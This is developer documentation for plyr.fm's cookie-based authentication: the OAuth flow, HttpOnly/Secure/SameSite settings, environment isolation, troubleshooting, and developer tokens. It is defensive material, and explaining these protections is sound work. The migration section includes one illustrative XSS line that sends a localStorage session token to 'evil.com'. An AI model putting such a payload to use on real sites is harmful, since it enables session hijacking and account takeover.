authentication#
plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks.
overview#
flow:
- user initiates OAuth login via
/auth/start?handle={handle} - backend redirects to user's PDS for authorization
- PDS redirects back to
/auth/callbackwith authorization code - backend exchanges code for OAuth tokens, creates session
- backend creates one-time exchange token, redirects to frontend
- frontend calls
/auth/exchangewith exchange token - backend sets HttpOnly cookie and returns session_id
- all subsequent requests automatically include cookie
sequenceDiagram
autonumber
participant U as User Browser
participant FE as Frontend (Svelte)
participant API as Backend API
participant PDS as User PDS
participant DB as Session DB
U->>FE: Visit /portal (unauthenticated)
FE->>API: GET /auth/start?handle=handle
API-->>U: 307 redirect to PDS authorize
U->>PDS: Approve OAuth request
PDS-->>API: /auth/callback (code, state, iss)
API->>PDS: POST /oauth/token
API->>DB: INSERT session (encrypted tokens)
API-->>U: 303 redirect /portal?exchange_token=…
FE->>API: POST /auth/exchange {exchange_token}
API->>DB: UPDATE exchange token (mark used)
API-->>FE: Set-Cookie session_id=… (HttpOnly)
FE->>API: Subsequent fetches w/ credentials: include
API->>DB: SELECT session via cookie
API-->>FE: JSON response (tracks, likes, uploads…)
key security properties:
- session tokens stored in HttpOnly cookies (not accessible to JavaScript)
- cookies use
Secureflag (HTTPS only in production) - cookies use
SameSite=Lax(CSRF protection) - no explicit domain set (prevents cross-environment leakage)
- frontend never touches session_id in localStorage or JavaScript
backend implementation#
setting cookies#
cookies are set in /auth/exchange after validating the one-time exchange token:
# src/backend/api/auth.py
if is_browser and settings.frontend.url:
is_localhost = settings.frontend.url.startswith("http://localhost")
response.set_cookie(
key="session_id",
value=session_id,
httponly=True,
secure=not is_localhost, # secure cookies require HTTPS
samesite="lax",
max_age=14 * 24 * 60 * 60, # 14 days
)
environment behavior:
- localhost:
secure=False(HTTP development) - staging/production:
secure=True(HTTPS required) - no domain parameter: cookies scoped to exact host (prevents staging→production leakage)
reading cookies#
auth dependencies check cookies first, fall back to Authorization header:
# src/backend/_internal/auth.py
async def require_auth(
authorization: Annotated[str | None, Header()] = None,
session_id: Annotated[str | None, Cookie(alias="session_id")] = None,
) -> Session:
"""require authentication with cookie (browser) or header (SDK/CLI) support."""
session_id_value = None
if session_id: # check cookie first
session_id_value = session_id
elif authorization and authorization.startswith("Bearer "):
session_id_value = authorization.removeprefix("Bearer ")
if not session_id_value:
raise HTTPException(status_code=401, detail="not authenticated")
session = await get_session(session_id_value)
if not session:
raise HTTPException(status_code=401, detail="invalid or expired session")
return session
parameter aliasing: Cookie(alias="session_id") tells FastAPI to look for a cookie named session_id (not the parameter name).
optional auth endpoints#
endpoints that show different data for authenticated vs anonymous users:
# src/backend/api/tracks.py
@router.get("/")
async def list_tracks(
db: Annotated[AsyncSession, Depends(get_db)],
request: Request,
session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None,
) -> dict:
# check cookie or header
session_id = (
session_id_cookie
or request.headers.get("authorization", "").replace("Bearer ", "")
)
# optional auth logic
if session_id and (auth_session := await get_session(session_id)):
# fetch liked tracks for authenticated user
liked_track_ids = set(...)
examples:
/tracks/- shows liked state if authenticated/tracks/{track_id}- shows liked state if authenticated/albums/{handle}/{slug}- shows liked state for album tracks if authenticated
frontend implementation#
sending cookies#
all requests include credentials: 'include' to send cookies:
// frontend/src/lib/auth.svelte.ts
const response = await fetch(`${API_URL}/auth/me`, {
credentials: 'include' // send cookies
});
// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest)
const xhr = new XMLHttpRequest();
xhr.open('POST', `${API_URL}/tracks/`);
xhr.withCredentials = true; // send cookies
no localStorage#
the frontend never reads or writes session_id to localStorage:
// ❌ OLD (vulnerable to XSS)
localStorage.setItem('session_id', sessionId);
const sessionId = localStorage.getItem('session_id');
headers['Authorization'] = `Bearer ${sessionId}`;
// ✅ NEW (secure)
// cookies automatically sent with credentials: 'include'
// no manual session management needed
auth state management#
auth state is checked via /auth/me:
// frontend/src/lib/auth.svelte.ts
async initialize() {
try {
const response = await fetch(`${API_URL}/auth/me`, {
credentials: 'include'
});
if (response.ok) {
const data = await response.json();
this.user = { did: data.did, handle: data.handle };
this.isAuthenticated = true;
}
} catch (error) {
this.isAuthenticated = false;
}
}
environment architecture#
all environments use custom domains on the same eTLD+1 (.plyr.fm) to enable cookie sharing between frontend and backend within each environment:
staging#
- frontend:
stg.plyr.fm(cloudflare pages project:plyr-fm-stg) - backend:
api-stg.plyr.fm(fly.io app:relay-api-staging) - cookie domain: implicit (scoped to
api-stg.plyr.fm) - CORS: backend allows
https://stg.plyr.fm
production#
- frontend:
plyr.fm(cloudflare pages project:plyr-fm) - backend:
api.plyr.fm(fly.io app:relay-api) - cookie domain: implicit (scoped to
api.plyr.fm) - CORS: backend allows
https://plyr.fmandhttps://www.plyr.fm
local development#
- frontend:
localhost:5173(bun dev server) - backend:
localhost:8001(uvicorn) - cookie domain: implicit (scoped to
localhost) - CORS: backend allows
http://localhost:5173
why no explicit domain?
omitting the domain parameter prevents cookies from being shared across environments:
- staging cookie (
api-stg.plyr.fm) not sent to production (api.plyr.fm) - production cookie (
api.plyr.fm) not sent to staging (api-stg.plyr.fm)
if we set domain=".plyr.fm", cookies would be shared across all subdomains, causing session leakage between environments.
why SameSite=Lax?#
SameSite=Lax provides CSRF protection while allowing same-site requests:
- allows: navigation from
stg.plyr.fm→api-stg.plyr.fm(same eTLD+1) - allows: fetch with
credentials: 'include'from same origin - blocks: cross-site POST requests (CSRF protection)
- blocks: cookies from being sent to completely different domains
alternative: SameSite=None
- required for cross-site cookies (e.g., embedding widgets from external domains)
- not needed for plyr.fm since frontend and backend are same-site
- less secure (allows cross-site requests)
why HttpOnly?#
HttpOnly cookies cannot be accessed by JavaScript:
// ❌ cannot read HttpOnly cookies
console.log(document.cookie); // session_id not visible
// ✅ cookies still sent automatically
fetch('/auth/me', { credentials: 'include' });
protects against:
- XSS attacks stealing session tokens
- malicious scripts exfiltrating credentials
- account takeover via stolen sessions
does NOT protect against:
- CSRF (use SameSite for that)
- man-in-the-middle attacks (use Secure flag + HTTPS)
- session fixation (use secure random session IDs)
migration from localStorage#
issue #237 tracked the migration from localStorage to cookies.
old flow (vulnerable):
/auth/exchangereturns{ session_id: "..." }- frontend stores in localStorage:
localStorage.setItem('session_id', sessionId) - every request:
headers['Authorization'] = Bearer ${localStorage.getItem('session_id')} - ❌ any XSS payload can steal:
fetch('https://evil.com?token=' + localStorage.getItem('session_id'))
new flow (secure):
/auth/exchangesets HttpOnly cookie AND returns{ session_id: "..." }- frontend does nothing with session_id (only for SDK/CLI clients)
- every request:
credentials: 'include'sends cookie automatically - ✅ JavaScript cannot access session_id
backwards compatibility:
- backend still returns
session_idin response body for non-browser clients - backend accepts both cookies and Authorization headers
- SDK/CLI clients unaffected (continue using headers)
security checklist#
authentication implementation checklist:
- cookies use
HttpOnlyflag - cookies use
Secureflag in production - cookies use
SameSite=LaxorSameSite=Strict - no explicit
domainset (prevents cross-environment leakage) - frontend sends
credentials: 'include'on all requests - frontend never reads/writes session_id to localStorage
- backend checks cookies before Authorization header
- CORS configured per environment (only allow same-origin)
- session tokens are cryptographically random
- sessions expire after reasonable time (14 days)
- logout properly deletes cookies
testing#
manual testing#
test cookie is set:
- log in at https://stg.plyr.fm
- open DevTools → Application → Cookies →
https://api-stg.plyr.fm - verify
session_idcookie exists with:- HttpOnly: ✓
- Secure: ✓
- SameSite: Lax
- Path: /
- Domain: api-stg.plyr.fm (no leading dot)
test cookie is sent:
- stay logged in
- open DevTools → Network tab
- navigate to
/portalor any authenticated page - inspect request to
/auth/me - verify
Cookie: session_id=...header is present
test cross-environment isolation:
- log in to staging at https://stg.plyr.fm
- open https://plyr.fm (production)
- verify you are NOT logged in (staging cookie not sent to production)
troubleshooting#
cookies not being set#
symptom: /auth/exchange returns 200 but no cookie in DevTools
check:
- is
FRONTEND_URLenvironment variable set?flyctl ssh console -a relay-api-staging echo $FRONTEND_URL - is request from a browser (user-agent header)?
- is response using HTTPS in production (Secure flag requires it)?
cookies not being sent#
symptom: /auth/me returns 401 even after login
check:
- frontend using
credentials: 'include'? - CORS allowing credentials?
# backend MUST allow credentials allow_credentials=True - origin matches CORS regex?
- SameSite policy blocking request?
localhost cookies not working#
symptom: cookies work in staging/production but not localhost
check:
- is
FRONTEND_URL=http://localhost:5173set locally? - frontend and backend both on
localhost(not127.0.0.1)? - backend using
secure=Falsefor localhost?
developer tokens (programmatic access)#
for scripts, CLIs, and automated workflows, create a long-lived developer token:
creating a token#
via UI (recommended):
- go to portal → "your data" → "developer tokens" section
- optionally enter a name (e.g., "upload-script", "ci-pipeline")
- select expiration (30/90/180/365 days or never)
- click "create token"
- authorize at your PDS (you'll be redirected to approve the OAuth grant)
- copy the token immediately after redirect (shown only once)
via API:
// step 1: start OAuth flow (returns auth_url to redirect to)
const response = await fetch('/auth/developer-token/start', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({ name: 'my-script', expires_in_days: 90 })
});
const { auth_url } = await response.json();
// step 2: redirect user to auth_url to authorize at their PDS
// step 3: on callback, token is returned via exchange flow
managing tokens#
list active tokens: the portal shows all your active developer tokens with:
- token name (or auto-generated identifier)
- creation date
- expiration date
revoke a token:
- go to portal → "your data" → "developer tokens"
- find the token in the list
- click "revoke" to immediately invalidate it
via API:
# list tokens
curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens
# revoke by prefix (first 8 chars shown in list)
curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345
using tokens#
set the token in your environment:
export PLYR_TOKEN="your_token_here"
use with any authenticated endpoint:
# check auth
curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me
CLI usage (scripts/plyr.py):
# list your tracks
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list
# upload a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track"
# download a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3
# delete a track
PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y
configuration#
backend settings in AuthSettings:
developer_token_default_days: default expiration (90 days)developer_token_max_days: max allowed expiration (365 days)- use
expires_in_days: 0for tokens that never expire
how it works#
developer tokens are sessions with their own independent OAuth grant. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means:
- dev tokens can refresh independently (no staleness when browser session refreshes)
- each token has its own DPoP keypair for request signing
- logging out of browser doesn't affect dev tokens (cookie isolation)
- revoking browser session doesn't affect dev tokens
dev tokens can:
- read your data (tracks, likes, profile)
- upload tracks (creates ATProto records on your PDS)
- perform any authenticated action
security notes:
- tokens have full account access - treat like passwords
- revoke individual tokens via the portal or API
- each token is independent - revoking one doesn't affect others
- token names help identify which token is used where
- tokens require explicit OAuth consent at your PDS
references#
- MDN: HttpOnly cookies
- MDN: SameSite cookies
- OWASP: Session Management Cheat Sheet
- ATProto OAuth spec
- issue #237: secure browser auth storage
- PR #239: frontend localStorage removal
- PR #243: backend cookie implementation
- PR #244: merged cookie-based auth
- PR #367: developer tokens with independent OAuth grants